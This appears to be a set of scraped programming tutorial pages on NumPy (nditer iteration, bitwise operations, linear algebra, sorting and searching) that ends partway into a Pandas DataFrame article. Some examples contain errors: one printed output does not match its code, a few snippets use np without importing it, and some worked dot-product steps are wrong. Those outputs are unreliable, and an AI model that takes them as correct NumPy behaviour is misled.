    0 1 2 3 4 5 6 7 8 9 10 11
    

     

    Controlling Iteration Order:
    There are times when it is important to visit the elements of an array in a specific order, irrespective of the layout of the elements in memory. The nditer object provides an order parameter to control this aspect of iteration. The default, having the behavior described above, is order=’K’ to keep the existing order. This can be overridden with order=’C’ for C order and order=’F’ for Fortran order.

    Code #1:

    
    # Python program for
    # iterating over array
    # using particular order
    
    import numpy as geek 
    
    # creating an array using arrange 
    # method
    a = geek.arange(12) 
    
    # shape array with 3 rows and 
    # 4 columns 
    a = a.reshape(3,4) 
    
    print('Original array is:') 
    print(a)
    print()  
    
    print('Modified array in C-style order:')
    
    # iterating an array in a given
    # order  
    for x in geek.nditer(a, order = 'C'): 
        print(x)
    

    Output:

    Original array is:
    [[ 0 1 2 3]
     [ 4 5 6 7]
     [ 8 9 10 11]]
    
    Modified array in C-style order:
    0 1 2 3 4 5 6 7 8 9 10 11
    

     
    Code #2:

    
    # Python program for
    # iterating over array
    # using particular order
    
    import numpy as geek 
    
    # creating an array using arrange 
    # method
    a = geek.arange(0,60,5) 
    
    # shape array with 3 rows and 
    # 4 columns 
    a = a.reshape(3,4) 
    
    print('Original array is:') 
    print(a)
    print()  
    
    print('Modified array in F-style order:')
    
    # iterating an array in a given
    # order   
    for x in geek.nditer(a, order = 'F'): 
        print(x)
    

    Output:

    Original array is:
    [[ 0 1 2 3]
     [ 4 5 6 7]
     [ 8 9 10 11]]
    
    Modified array in F-style order:
    0 4 8 1 5 9 2 6 10 3 7 11
    

     

    Modifying Array Values:
    The nditer object has another optional parameter called op_flags. Its default value is read-only, but can be set to read-write or write-only mode. This will enable modifying array elements using this iterator.

    
    # Python program for
    # modifying array values
    
    import numpy as geek
    
    # creating an array using arrange 
    # method
    a = geek.arange(12)
    
    # shape array with 3 rows and 
    # 4 columns 
    a = a.reshape(3,4)
    print('Original array is:')
    print(a)
    print()
    
    # modifying array values
    for x in geek.nditer(a, op_flags = ['readwrite']):
        x[...] = 5*x
    print('Modified array is:')
    print(a)
    
    

    Output:

    Original array is:
    [[ 0 1 2 3]
     [ 4 5 6 7]
     [ 8 9 10 11]]
    
    Modified array is:
    [[ 0 5 10 15]
     [20 25 30 35]
     [40 45 50 55]]
    

     

    External Loop:

    The nditer class constructor has a flags parameter, which can take the following values

    ParameterDescription
    external_loopCauses values given to be one-dimensional arrays with multiple values instead of zero-dimensional array
    c_indexC_order index can be tracked
    f_indexFortran_order index is tracked
    multi-indexType of indexes with one per iteration can be tracked

    Code #1:

    
    # Python program for
    # iterating array values
    # using external loop
    
    import numpy as geek 
    
    # creating an array using arrange 
    # method
    a = geek.arange(12) 
    
    # shape array with 3 rows and 
    # 4 columns 
    a = a.reshape(3,4) 
    
    print('Original array is:') 
    print(a) 
    print()  
    
    print('Modified array is:') 
    for x in geek.nditer(a, flags = ['external_loop'], order = 'C'):
        print(x)
    
    

    Output:

    Original array is:
    [[ 0 1 2 3]
     [ 4 5 6 7]
     [ 8 9 10 11]]
    
    Modified array is:
    [ 0 1 2 3] [ 4 5 6 7] [8 9 10 11] 
    

     

    Code #2:

    
    # Python program for
    # iterating array values
    # using f_index
    
    import numpy as geek 
    
    # creating an array using arrange 
    # method
    a = geek.arange(6)
    
    # shape array with 2 rows and 
    # 3 columns 
    a = a.reshape(2,3)
    
    print('Original array is:')
    print(a)
    print()
    
    # iterating array using f_index 
    # parameter
    it = geek.nditer(a, flags=['f_index'])
    while not it.finished:
          print("%d <%d>" % (it[0], it.index), end=" ")
          it.iternext()
    
    

    Output:

    Original array is:
    [[ 0 1 2]
     [ 3 4 5]]
    
    0 <0> 1 <2> 2 <4> 3 <1> 4 <3> 5 <5>
    

     

    Broadcasting Iteration:
    If two arrays are broadcastable, a combined nditer object is able to iterate upon them concurrently. Assuming that an array a has dimension 3X4, and there is another array b of dimension 1X4, the iterator of following type is used (array b is broadcast to size of a).

    
    # Python program for
    # iterating array 
    
    import numpy as geek
    
    # creating an array using arrange 
    # method 
    a = geek.arange(12)
    
     # shape array with 3 rows and 
    # 4 columns 
    a = a.reshape(3,4) 
    
    print('First array is:') 
    print(a)
    print()  
    
    # Creating second array using 
    # array method
    print('Second array is:') 
    b = geek.array([5, 6, 7, 8], dtype = int) 
    print(b)  
    print() 
    
    print('Modified array is:')
    for x,y in geek.nditer([a,b]): 
        print("%d:%d" % (x,y))
    
    

    Output:

    First array is:
    [[ 0 1 2 3]
     [ 4 5 6 7]
     [ 8 9 10 11]]
    
    Second array is:
    [5 6 7 8]
    
    Modified array is:
    0:5 1:6 2:7 3:8 4:5 5:6 6:7 7:8 8:5 9:6 10:7 11:8
    

     

    My Personal Notes arrow_drop_up

    Numpy | Binary Operations

    • Last Updated : 15 Nov, 2018

    Binary operators acts on bits and performs bit by bit operation. Binary operation is simply a rule for combining two values to create a new value.

    numpy.bitwise_and() : This function is used to Compute the bit-wise AND of two array element-wise. This function computes the bit-wise AND of the underlying binary representation of the integers in the input arrays.

    Code #1 :

    
    # Python program explaining
    # bitwise_and() function
    
    import numpy as geek
    in_num1 = 10
    in_num2 = 11
    
    print ("Input  number1 : ", in_num1)
    print ("Input  number2 : ", in_num2) 
      
    out_num = geek.bitwise_and(in_num1, in_num2) 
    print ("bitwise_and of 10 and 11 : ", out_num) 
    

    Output :

    Input  number1 :  10
    Input  number2 :  11
    bitwise_and of 10 and 11 :  10
    

     
    Code #2 :

    # Python program explaining
    # bitwise_and() function
    
    import numpy as geek
    
    in_arr1 = [2, 8, 125]
    in_arr2 = [3, 3, 115]
     
    print ("Input array1 : ", in_arr1) 
    print ("Input array2 : ", in_arr2)
      
    out_arr = geek.bitwise_and(in_arr1, in_arr2) 
    print ("Output array after bitwise_and: ", out_arr) 
    

    Output :

    Input array1 :  [2, 8, 125]
    Input array2 :  [3, 3, 115]
    Output array after bitwise_and:  [  2   0 113]
    

     
    numpy.bitwise_or() : This function is used to Compute the bit-wise OR of two array element-wise. This function computes the bit-wise OR of the underlying binary representation of the integers in the input arrays.

    Code #1 :

    
    # Python program explaining
    # bitwise_or() function
    
    import numpy as geek
    in_num1 = 10
    in_num2 = 11
    
    print ("Input  number1 : ", in_num1)
    print ("Input  number2 : ", in_num2) 
      
    out_num = geek.bitwise_or(in_num1, in_num2) 
    print ("bitwise_or of 10 and 11 : ", out_num) 
    
    

    Output :

    Input  number1 :  10
    Input  number2 :  11
    bitwise_or of 10 and 11 :  11
    

     
    Code #2 :

    
    # Python program explaining
    # bitwise_or() function
    
    import numpy as geek
    
    in_arr1 = [2, 8, 125]
    in_arr2 = [3, 3, 115]
     
    print ("Input array1 : ", in_arr1) 
    print ("Input array2 : ", in_arr2)
      
    out_arr = geek.bitwise_or(in_arr1, in_arr2) 
    print ("Output array after bitwise_or: ", out_arr) 
    

    Output :

    Input array1 :  [2, 8, 125]
    Input array2 :  [3, 3, 115]
    Output array after bitwise_or:  [  3  11 127]
    

     
    numpy.bitwise_xor() : This function is used to Compute the bit-wise XOR of two array element-wise. This function computes the bit-wise XOR of the underlying binary representation of the integers in the input arrays.

    Code #1 :

    
    # Python program explaining
    # bitwise_xor() function
    
    import numpy as geek
    in_num1 = 10
    in_num2 = 11
    
    print ("Input  number1 : ", in_num1)
    print ("Input  number2 : ", in_num2) 
      
    out_num = geek.bitwise_xor(in_num1, in_num2) 
    print ("bitwise_xor of 10 and 11 : ", out_num) 
    

    Output :

    Input  number1 :  10
    Input  number2 :  11
    bitwise_xor of 10 and 11 :  1
    

     
    Code #2 :

    
    # Python program explaining
    # bitwise_xor() function
    
    import numpy as geek
    
    in_arr1 = [2, 8, 125]
    in_arr2 = [3, 3, 115]
     
    print ("Input array1 : ", in_arr1) 
    print ("Input array2 : ", in_arr2)
      
    out_arr = geek.bitwise_xor(in_arr1, in_arr2) 
    print ("Output array after bitwise_xor: ", out_arr) 
    

    Output :

    Input array1 :  [2, 8, 125]
    Input array2 :  [3, 3, 115]
    Output array after bitwise_xor:  [ 1 11 14]
    

     
    numpy.invert() : This function is used to Compute the bit-wise Inversion of an array element-wise. It computes the bit-wise NOT of the underlying binary representation of the integers in the input arrays.
    For signed integer inputs, the two’s complement is returned. In a two’s-complement system negative numbers are represented by the two’s complement of the absolute value.

    Code #1 :

    
    # Python program explaining
    # invert() function
    
    import numpy as geek
    in_num = 10
    print ("Input  number : ", in_num)
      
    out_num = geek.invert(in_num) 
    print ("inversion of 10 : ", out_num) 
    

    Output :

    Input  number :  10
    inversion of 10 :  -11
    

     
    Code #2 :

    # Python program explaining
    # invert() function
    
    import numpy as geek
    
    in_arr = [2, 0, 25]
    print ("Input array : ", in_arr)
      
    out_arr = geek.invert(in_arr) 
    print ("Output array after inversion: ", out_arr) 
    

    Output :

    Input array :  [2, 0, 25]
    Output array after inversion:  [ -3  -1 -26]
    

     
    numpy.left_shift() : This function is used to Shift the bits of an integer to the left.The bits are shifted to the left by appending arr2 0s(zeroes) at the right of arr1. Since the internal representation of numbers is in binary format, this operation is equivalent to multiplying arr1 by 2**arr2. For example, if the number is 5 and we want to 2 bit left shift then after left shift 2 bit the result will be 5*(2^2) = 20

    Code #1 :

    
    # Python program explaining
    # left_shift() function
    
    import numpy as geek
    in_num = 5
    bit_shift = 2
    
    print ("Input  number : ", in_num)
    print ("Number of bit shift : ", bit_shift ) 
      
    out_num = geek.left_shift(in_num, bit_shift) 
    print ("After left shifting 2 bit  : ", out_num) 
    
    

    Output :

    Input  number :  5
    Number of bit shift :  2
    After left shifting 2 bit  :  20
    

     
    Code #2 :

    
    # Python program explaining
    # left_shift() function
    
    import numpy as geek
    
    in_arr = [2, 8, 15]
    bit_shift =[3, 4, 5]
     
    print ("Input array : ", in_arr) 
    print ("Number of bit shift : ", bit_shift)
      
    out_arr = geek.left_shift(in_arr, bit_shift) 
    print ("Output array after left shifting: ", out_arr) 
    

    Output :

    Input array :  [2, 8, 15]
    Number of bit shift :  [3, 4, 5]
    Output array after left shifting:  [ 16 128 480]
    

     
    numpy.right_shift() : This function is used to Shift the bits of an integer to the right.Because the internal representation of numbers is in binary format, this operation is equivalent to dividing arr1 by 2**arr2. For example, if the number is 20 and we want to 2-bit right shift then after right shift 2-bit the result will be 20/(2^2) = 5.

    Code #1 :

    
    # Python program explaining
    # right_shift() function
    
    import numpy as geek
    in_num = 20
    bit_shift = 2
    
    print ("Input  number : ", in_num)
    print ("Number of bit shift : ", bit_shift ) 
      
    out_num = geek.right_shift(in_num, bit_shift) 
    print ("After right shifting 2 bit  : ", out_num) 
    
    

    Output :

    Input  number :  20
    Number of bit shift :  2
    After right shifting 2 bit  :  5
    

     
    Code #2 :

    
    # Python program explaining
    # right_shift() function
    
    import numpy as geek
    
    in_arr = [24, 48, 16]
    bit_shift =[3, 4, 2]
     
    print ("Input array : ", in_arr) 
    print ("Number of bit shift : ", bit_shift)
      
    out_arr = geek.right_shift(in_arr, bit_shift) 
    print ("Output array after right shifting: ", out_arr) 
    

    Output :

    Input array :  [24, 48, 16]
    Number of bit shift :  [3, 4, 2]
    Output array after right shifting:  [3 3 4]
    

     
    numpy.binary_repr(number, width=None) : This function is used to represent binary form of the input number as a string.For negative numbers, if width is not given, a minus sign is added to the front. If width is given, the two’s complement of the number is returned, with respect to that width.
    In a two’s-complement system, negative numbers are represented by the two’s complement of the absolute value. This is the most common method of representing signed integers on computers.

    Code #1 :

    
    # Python program explaining
    # binary_repr() function
    
    import numpy as geek
    in_num = 10
    
    print ("Input  number : ", in_num)
    
    out_num = geek.binary_repr(in_num) 
    print ("binary representation of 10 : ", out_num) 
    

    Output :

    Input  number :  10
    binary representation of 10 :  1010
    

     
    Code #2 :

    # Python program explaining
    # binary_repr() function
    import numpy as geek
    
    in_arr = [5, -8 ]
     
    print ("Input array : ", in_arr) 
    
    # binary representation of first array  
    # element without using width parameter
    out_num = geek.binary_repr(in_arr[0])
    print("Binary representation of 5")
    print ("Without using width parameter : ", out_num) 
    
    # binary representation of first array
    # element using width parameter
    out_num = geek.binary_repr(in_arr[0], width = 5)
    print ("Using width parameter: ", out_num) 
    
    print("\nBinary representation of -8")
    
    # binary representation of 2nd array
    # element without using width parameter
    out_num = geek.binary_repr(in_arr[1])
    print ("Without using width parameter : ", out_num) 
    
    # binary representation of 2nd array
    # element  using width parameter
    out_num = geek.binary_repr(in_arr[1], width = 5)
    print ("Using width parameter : ", out_num) 
    

    Output :

    Input array :  [5, -8]
    Binary representation of 5 
    Without using width parameter :  101
    Using width parameter:  00101
    
    Binary representation of -8  
    Without using width parameter :  -1000
    Using width parameter :  11000

    numpy.packbits(myarray, axis=None) : This function is used to packs the elements of a binary-valued array into bits in a uint8 array.The result is padded to full bytes by inserting zero bits at the end.

    Code #1 :

    
    # Python program explaining
    # packbits() function
    import numpy as np
    
    # creating an array using 
    # array function
    a = np.array([[[1,0,1],
                 [0,1,0]],
                 [[1,1,0],
                 [0,0,1]]])
    
    # packing elements of an array
    # using packbits() function
    b = np.packbits(a, axis=-1)
    
    print(b)
    

    Output :

    [[[160],[64]],[[192],[32]]]
    

     
    numpy.unpackbits(myarray, axis=None) : This function is used to Unpacks elements of a uint8 array into a binary-valued output array.Each element of myarray represents a bit-field that should be unpacked into a binary-valued output array. The shape of the output array is either 1-D (if axis is None) or the same shape as the input array with unpacking done along the axis specified.

    Code #1 :

    
    # Python program explaining
    # unpackbits() function
    import numpy as np
    
    # creating an array using 
    # array function
    a = np.array([[2], [7], [23]], dtype=np.uint8)
    
    # packing elements of an array
    # using packbits() function
    b = np.unpackbits(a, axis = 1)
    
    print(b)
    

    Output :

    [[0, 0, 0, 0, 0, 0, 1, 0],
     [0, 0, 0, 0, 0, 1, 1, 1],
     [0, 0, 0, 1, 0, 1, 1, 1]]
    

     


    My Personal Notes arrow_drop_up

    Numpy | Linear Algebra

    • Last Updated : 15 Nov, 2018

    The Linear Algebra module of NumPy offers various methods to apply linear algebra on any numpy array.
    One can find:

    # Importing numpy as np
    import numpy as np
    
    A = np.array([[6, 1, 1],
                  [4, -2, 5],
                  [2, 8, 7]])
    
    # Rank of a matrix
    print("Rank of A:", np.linalg.matrix_rank(A))
    
    # Trace of matrix A
    print("\nTrace of A:", np.trace(A))
    
    # Determinant of a matrix
    print("\nDeterminant of A:", np.linalg.det(A))
    
    # Inverse of matrix A
    print("\nInverse of A:\n", np.linalg.inv(A))
    
    print("\nMatrix A raised to power 3:\n",
               np.linalg.matrix_power(A, 3))
    

    Output:

    Rank of A: 3
    
    Trace of A: 11
    
    Determinant of A: -306.0
    
    Inverse of A:
     [[ 0.17647059 -0.00326797 -0.02287582]
     [ 0.05882353 -0.13071895  0.08496732]
     [-0.11764706  0.1503268   0.05228758]]
    
    Matrix A raised to power 3:
     [[336 162 228]
     [406 162 469]
     [698 702 905]]

     

    Matrix eigenvalues Functions

    numpy.linalg.eigh(a, UPLO=’L’) : This function is used to return the eigenvalues and eigenvectors of a complex Hermitian (conjugate symmetric) or a real symmetric matrix.Returns two objects, a 1-D array containing the eigenvalues of a, and a 2-D square array or matrix (depending on the input type) of the corresponding eigenvectors (in columns).

    
    # Python program explaining
    # eigh() function
    
    from numpy import linalg as geek
    
    # Creating an array using array 
    # function
    a = np.array([[1, -2j], [2j, 5]])
    
    print("Array is :",a)
    
    # calculating an eigen value
    # using eigh() function
    c, d = geek.eigh(a)
    
    print("Eigen value is :", c)
    print("Eigen value is :", d)
    
    

    Output :

    Array is : [[ 1.+0.j,  0.-2.j],
                    [ 0.+2.j,  5.+0.j]]
    
    Eigen value is : [ 0.17157288,  5.82842712]
    
    Eigen value is : [[-0.92387953+0.j , -0.38268343+0.j ],
           [ 0.00000000+0.38268343j,  0.00000000-0.92387953j]]
    

     
    numpy.linalg.eig(a) : This function is used to compute the eigenvalues and right eigenvectors of a square array.

    
    # Python program explaining
    # eig() function
    
    from numpy import linalg as geek
    
    # Creating an array using diag 
    # function
    a = np.diag((1, 2, 3))
    
    print("Array is :",a)
    
    # calculating an eigen value
    # using eig() function
    c, d = geek.eig(a)
    
    print("Eigen value is :",c)
    print("Eigen value is :",d)
    
    

    Output :

    Array is : [[1  0  0],
                     [0  2  0],
                     [0  0  3]]
    
    Eigen value is : [ 1  2  3]
    
    Eigen value is : [[ 1  0  0],
                     [  0  1  0],
                     [  0  0  1]]
    

     

    FunctionDescription
    linalg.eigvals()Compute the eigenvalues of a general matrix.
    linalg.eigvalsh(a[, UPLO])Compute the eigenvalues of a complex Hermitian or real symmetric matrix.

    Matrix and vector products

    numpy.dot(vector_a, vector_b, out = None) : returns the dot product of vectors a and b. It can handle 2D arrays but considering them as matrix and will perform matrix multiplication. For N dimensions it is a sum product over the last axis of a and the second-to-last of b :

    dot(a, b)[i,j,k,m] = sum(a[i,j,:] * b[k,:,m]) 

    Code #1:

    
    # Python Program illustrating
    # numpy.dot() method
    
    import numpy as geek
    
    # Scalars
    product = geek.dot(5, 4)
    print("Dot Product of scalar values  : ", product)
    
    # 1D array
    vector_a = 2 + 3j
    vector_b = 4 + 5j
    
    product = geek.dot(vector_a, vector_b)
    print("Dot Product  : ", product)
    

    Output:

    Dot Product of scalar values  :  20
    Dot Product  :  (-7+22j)
    

     
    How Code #1 works ?

    vector_a = 2 + 3j
    vector_b = 4 + 5j
    
    now dot product 
    = 2(4 + 5j) + 3j(4 - 5j)
                    = 8 + 10j + 12j - 15
                    = -7 + 22j

     
    numpy.vdot(vector_a, vector_b) : Returns the dot product of vectors a and b. If first argument is complex the complex conjugate of the first argument(this is where vdot() differs working of dot() method) is used for the calculation of the dot product. It can handle multi-dimensional arrays but working on it as a flattened array.

    Code #1:

    
    # Python Program illustrating
    # numpy.vdot() method
    
    import numpy as geek
    
    # 1D array
    vector_a = 2 + 3j
    vector_b = 4 + 5j
    
    product = geek.vdot(vector_a, vector_b)
    print("Dot Product  : ", product)
    

    Output :

    Dot Product  :  (23-2j)
    

     
    How Code #1 works ?

    vector_a = 2 + 3j
    vector_b = 4 + 5j
    
    As per method, take conjugate of vector_a i.e. 2 - 3j
    
    now dot product = 2(4 - 5j) + 3j(4 - 5j)
                    = 8 - 10j + 12j + 15
                    = 23 - 2j
    FunctionDescription
    matmul()Matrix product of two arrays.
    inner()Inner product of two arrays.
    outer()Compute the outer product of two vectors.
    linalg.multi_dot()Compute the dot product of two or more arrays in a single function call, while automatically selecting the fastest evaluation order.
    tensordot()Compute tensor dot product along specified axes for arrays >= 1-D.
    einsum()Evaluates the Einstein summation convention on the operands.
    einsum_path()Evaluates the lowest cost contraction order for an einsum expression by considering the creation of intermediate arrays.
    linalg.matrix_power()Raise a square matrix to the (integer) power n.
    kron()Kronecker product of two arrays.

    Solving equations and inverting matrices

    numpy.linalg.solve() : Solve a linear matrix equation, or system of linear scalar equations.Computes the “exact” solution, x, of the well-determined, i.e., full rank, linear matrix equation ax = b.

    # Python Program illustrating
    # numpy.linalg.solve() method
    
    import numpy as np
    
    # Creating an array using array
    # function
    a = np.array([[1, 2], [3, 4]])
    
    # Creating an array using array
    # function
    b = np.array([8, 18])
    
    print(("Solution of linear equations:", 
          np.linalg.solve(a, b)))
    

    Output:

    Solution of linear equations: [ 2.  3.]
    

     
    numpy.linalg.lstsq() : Return the least-squares solution to a linear matrix equation.Solves the equation a x = b by computing a vector x that minimizes the Euclidean 2-norm || b – a x ||^2. The equation may be under-, well-, or over- determined (i.e., the number of linearly independent rows of a can be less than, equal to, or greater than its number of linearly independent columns). If a is square and of full rank, then x (but for round-off error) is the “exact” solution of the equation.

    # Python Program illustrating
    # numpy.linalg.lstsq() method
    
    
    import numpy as np
    import matplotlib.pyplot as plt
    
    # x co-ordinates
    x = np.arange(0, 9)
    A = np.array([x, np.ones(9)])
    
    # linearly generated sequence
    y = [19, 20, 20.5, 21.5, 22, 23, 23, 25.5, 24]
    # obtaining the parameters of regression line
    w = np.linalg.lstsq(A.T, y)[0] 
    
    # plotting the line
    line = w[0]*x + w[1] # regression line
    plt.plot(x, line, 'r-')
    plt.plot(x, y, 'o')
    plt.show()

    Output:

    4

    FunctionDescription
    numpy.linalg.tensorsolve()Solve the tensor equation a x = b for x.
    numpy.linalg.inv()Compute the (multiplicative) inverse of a matrix.
    numpy.linalg.pinv()Compute the (Moore-Penrose) pseudo-inverse of a matrix.
    numpy.linalg.tensorinv()Compute the ‘inverse’ of an N-dimensional array.

    Special Functions

    numpy.linalg.det() : Compute the determinant of an array.

    # Python Program illustrating
    # numpy.linalg.det() method
    
    import numpy as np
    
    # creating an array using 
    # array method
    A = np.array([[6, 1, 1],
                  [4, -2, 5],
                  [2, 8, 7]])
    
    
    print(("\nDeterminant of A:"
         , np.linalg.det(A)))
    
    

    Output:

    Determinant of A: -306.0
    

     
    numpy.trace() : Return the sum along diagonals of the array.If a is 2-D, the sum along its diagonal with the given offset is returned, i.e., the sum of elements a[i,i+offset] for all i.If a has more than two dimensions, then the axes specified by axis1 and axis2 are used to determine the 2-D sub-arrays whose traces are returned. The shape of the resulting array is the same as that of a with axis1 and axis2 removed.

    # Python Program illustrating
    # numpy.trace()() method
    
    import numpy as np
    
    # creating an array using 
    # array method
    A = np.array([[6, 1, 1],
                  [4, -2, 5],
                  [2, 8, 7]])
    
    
    print("\nTrace of A:", np.trace(A))
    
    
    

    Output:

    Trace of A: 11
    

     

    FunctionDescription
    numpy.linalg.norm()Matrix or vector norm.
    numpy.linalg.cond()Compute the condition number of a matrix.
    numpy.linalg.matrix_rank()Return matrix rank of array using SVD method
    numpy.linalg.cholesky()Cholesky decomposition.
    numpy.linalg.qr()Compute the qr factorization of a matrix.
    numpy.linalg.svd()Singular Value Decomposition.

    My Personal Notes arrow_drop_up

    Numpy | Sorting, Searching and Counting

    • Last Updated : 15 Nov, 2018

    Sorting

    Sorting refers to arranging data in a particular format. Sorting algorithm specifies the way to arrange data in a particular order. Most common orders are in numerical or lexicographical order. In Numpy, we can perform various sorting operations using the various functions that are provided in the library like sort, lexsort, argsort etc.

    numpy.sort() : This function returns a sorted copy of an array.

    
    # importing libraries
    import numpy as np
    
    # sort along the first axis
    a = np.array([[12, 15], [10, 1]])
    arr1 = np.sort(a, axis = 0)        
    print ("Along first axis : \n", arr1)        
    
    
    # sort along the last axis
    a = np.array([[10, 15], [12, 1]])
    arr2 = np.sort(a, axis = -1)        
    print ("\nAlong first axis : \n", arr2)
    
    
    a = np.array([[12, 15], [10, 1]])
    arr1 = np.sort(a, axis = None)        
    print ("\nAlong none axis : \n", arr1)
    
    

    Output :

    Along first axis : 
     [[10  1]
     [12 15]]
    
    Along first axis : 
     [[10 15]
     [ 1 12]]
    
    Along none axis : 
     [ 1 10 12 15]

     
    numpy.argsort() : This function returns the indices that would sort an array.

    # Python code to demonstrate 
    # working of  numpy.argsort
    import numpy as np
    
    # Numpy array created
    a = np.array([9, 3, 1, 7, 4, 3, 6])
    
    # unsorted array print
    print('Original array:\n', a)
    
    # Sort array indices
    b = np.argsort(a)
    print('Sorted indices of original array->', b)
    
    # To get sorted array using sorted indices
    # c is temp array created of same len as of b
    c = np.zeros(len(b), dtype = int)
    for i in range(0, len(b)):
        c[i]= a[b[i]]
    print('Sorted array->', c)
    

    Output:

    Original array:
     [9 3 1 7 4 3 6]
    Sorted indices of original array-> [2 1 5 4 6 3 0]
    Sorted array-> [1 3 3 4 6 7 9]
    

     
    numpy.lexsort() : This function returns an indirect stable sort using a sequence of keys.

    # Python code to demonstrate working of 
    # numpy.lexsort()
    import numpy as np
    
    # Numpy array created
    # First column
    a = np.array([9, 3, 1, 3, 4, 3, 6])
    
    # Second column 
    b = np.array([4, 6, 9, 2, 1, 8, 7]) 
    print('column a, column b')
    for (i, j) in zip(a, b):
        print(i, ' ', j)
    
    # Sort by a then by b
    ind = np.lexsort((b, a)) 
    print('Sorted indices->', ind)
    

    Output :

    column a, column b
    9   4
    3   6
    1   9
    3   2
    4   1
    3   8
    6   7
    Sorted indices-> [2 3 1 5 4 6 0]
    

     

    FunctionDescription
    numpy.ndarray.sort()Sort an array, in-place.
    numpy.msort()Return a copy of an array sorted along the first axis.
    numpy.sort_complex()Sort a complex array using the real part first, then the imaginary part.
    numpy.partition()Return a partitioned copy of an array.
    numpy.argpartition()Perform an indirect partition along the given axis using the algorithm specified by the kind keyword.

    Searching

    Searching is an operation or a technique that helps finds the place of a given element or value in the list. Any search is said to be successful or unsuccessful depending upon whether the element that is being searched is found or not. In Numpy, we can perform various searching operations using the various functions that are provided in the library like argmax, argmin, nanaargmax etc.

    numpy.argmax() : This function returns indices of the max element of the array in a particular axis.

    
    # Python Program illustrating
    # working of argmax()
    
    import numpy as geek 
    
    # Working on 2D array
    array = geek.arange(12).reshape(3, 4)
    print("INPUT ARRAY : \n", array)
    
    # No axis mentioned, so works on entire array
    print("\nMax element : ", geek.argmax(array))
    
    # returning Indices of the max element
    # as per the indices
    print(("\nIndices of Max element : "
          , geek.argmax(array, axis=0)))
    print(("\nIndices of Max element : "
          , geek.argmax(array, axis=1)))
    
    

    Output :

    INPUT ARRAY : 
     [[ 0  1  2  3]
     [ 4  5  6  7]
     [ 8  9 10 11]]
    
    Max element :  11
    
    Indices of Max element :  [2 2 2 2]
    
    Indices of Max element :  [3 3 3]
    

     
    numpy.nanargmax() : This function returns indices of the max element of the array in a particular axis ignoring NaNs.The results cannot be trusted if a slice contains only NaNs and Infs.

    
    # Python Program illustrating
    # working of nanargmax()
    
    import numpy as geek 
    
    # Working on 1D array
    array = [geek.nan, 4, 2, 3, 1]
    print("INPUT ARRAY 1 : \n", array)
    
    array2 = geek.array([[geek.nan, 4], [1, 3]])
    
    # returning Indices of the max element
    # as per the indices ingnoring NaN
    print(("\nIndices of max in array1 : "
           , geek.nanargmax(array)))
    
    # Working on 2D array
    print("\nINPUT ARRAY 2 : \n", array2)
    print(("\nIndices of max in array2 : "
          , geek.nanargmax(array2)))
    
    print(("\nIndices at axis 1 of array2 : "
          , geek.nanargmax(array2, axis = 1)))
    

    Output :

    INPUT ARRAY 1 : 
     [nan, 4, 2, 3, 1]
    
    Indices of max in array1 :  1
    
    INPUT ARRAY 2 : 
     [[ nan   4.]
     [  1.   3.]]
    
    Indices of max in array2 :  1
    
    Indices at axis 1 of array2 :  [1 1]
    

     
    numpy.argmin() : This function returns the indices of the minimum values along an axis.

    
    # Python Program illustrating
    # working of argmin()
    
    import numpy as geek 
    
    # Working on 1D array
    array = geek.arange(8)
    print("INPUT ARRAY : \n", array)
    
    
    # returning Indices of the min element
    # as per the indices
    print("\nIndices of min element : ", geek.argmin(array, axis=0))
    

    Output :

    INPUT ARRAY : 
     [0 1 2 3 4 5 6 7]
    
    Indices of min element :  0
    

     

    FunctionDescription
    numpy.nanargmin()Return the indices of the minimum values in the specified axis ignoring NaNs.
    numpy.argwhere()Find the indices of array elements that are non-zero, grouped by element.
    numpy.nonzero()Return the indices of the elements that are non-zero.
    numpy.flatnonzero()Return indices that are non-zero in the flattened version of a.
    numpy.where()Return elements chosen from x or y depending on condition.
    numpy.searchsorted()Find indices where elements should be inserted to maintain order.
    numpy.extract()Return the elements of an array that satisfy some condition.

    Counting

    numpy.count_nonzero() : Counts the number of non-zero values in the array .

    
    # Python Program illustrating
    # working of count_nonzero()
    
    import numpy as np
     
    # Counting a number of 
    # non-zero values
    a = np.count_nonzero([[0,1,7,0,0],[3,0,0,2,19]])
    b = np.count_nonzero(([[0,1,7,0,0],[3,0,0,2,19]]
                         , axis=0))
    
    print("Number of nonzero values is :",a)
    print("Number of nonzero values is :",b)
    
    

    Output :

    Number of nonzero values is : 5
    Number of nonzero values is : [1, 1, 1, 1, 1]
    

     


    My Personal Notes arrow_drop_up

    Pandas Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 29 Feb, 2020

    Pandas is an open-source library that is built on top of NumPy library. It is a Python package that offers various data structures and operations for manipulating numerical data and time series. It is mainly popular for importing and analyzing data much easier. Pandas is fast and it has high-performance & productivity for users.

    Pandas-Tutorial
    This Pandas Tutorial will help learning Pandas from Basics to advance data analysis operations, including all necessary functions explained in detail.

    Table of Contents

    Pandas Practice problems with solutions !
    Recent Articles on Python Pandas !

    Introduction

    Creating Objects

    Viewing Data

    Selection

    👉🏽 Recent Articles on Pandas-Indexing

    Manipulating Data

    Grouping Data

    Merging, Joining and Concatenating

    Working with Date and Time

    Working With Text Data

    Working with CSV and Excel files

    Operations

    Visualization

    Applications and Projects

    Miscellaneous

     
     
     
     
     
     
     
     
     


    My Personal Notes arrow_drop_up

    Python | Pandas DataFrame

    • Last Updated : 10 Jan, 2019

    Pandas DataFrame is two-dimensional size-mutable, potentially heterogeneous tabular data structure with labeled axes (rows and columns). A Data frame is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. Pandas DataFrame consists of three principal components, the data, rows, and columns.

    We will get a brief insight on all these basic operation which can be performed on Pandas DataFrame :

    Creating a Pandas DataFrame

    In the real world, a Pandas DataFrame will be created by loading the datasets from existing storage, storage can be SQL Database, CSV file, and Excel file. Pandas DataFrame can be created from the lists, dictionary, and from a list of dictionary etc. Dataframe can be created in different ways here are some ways by which we create a dataframe:

    Creating a dataframe using List: DataFrame can be created using a single list or a list of lists.

    
    # import pandas as pd
    import pandas as pd
    
    # list of strings
    lst = ['Geeks', 'For', 'Geeks', 'is', 
                'portal', 'for', 'Geeks']
    
    # Calling DataFrame constructor on list
    df = pd.DataFrame(lst)
    print(df)
    
    

    Output:

     
    Creating DataFrame from dict of ndarray/lists: To create DataFrame from dict of narray/list, all the narray must be of same length. If index is passed then the length index should be equal to the length of arrays. If no index is passed, then by default, index will be range(n) where n is the array length.

    # Python code demonstrate creating 
    # DataFrame from dict narray / lists 
    # By default addresses.
    
    import pandas as pd
    
    # intialise data of lists.
    data = {'Name':['Tom', 'nick', 'krish', 'jack'],
